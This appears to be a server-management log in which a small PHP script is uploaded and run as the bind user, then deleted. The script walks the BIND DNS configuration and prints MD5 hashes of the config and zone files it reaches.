MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:39:41: Establishing a connection
2026-04-28 10:39:42: 

PUT: /tmp/pkp582583

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:39:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp582583; rm /tmp/pkp582583'

2026-04-28 10:39:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
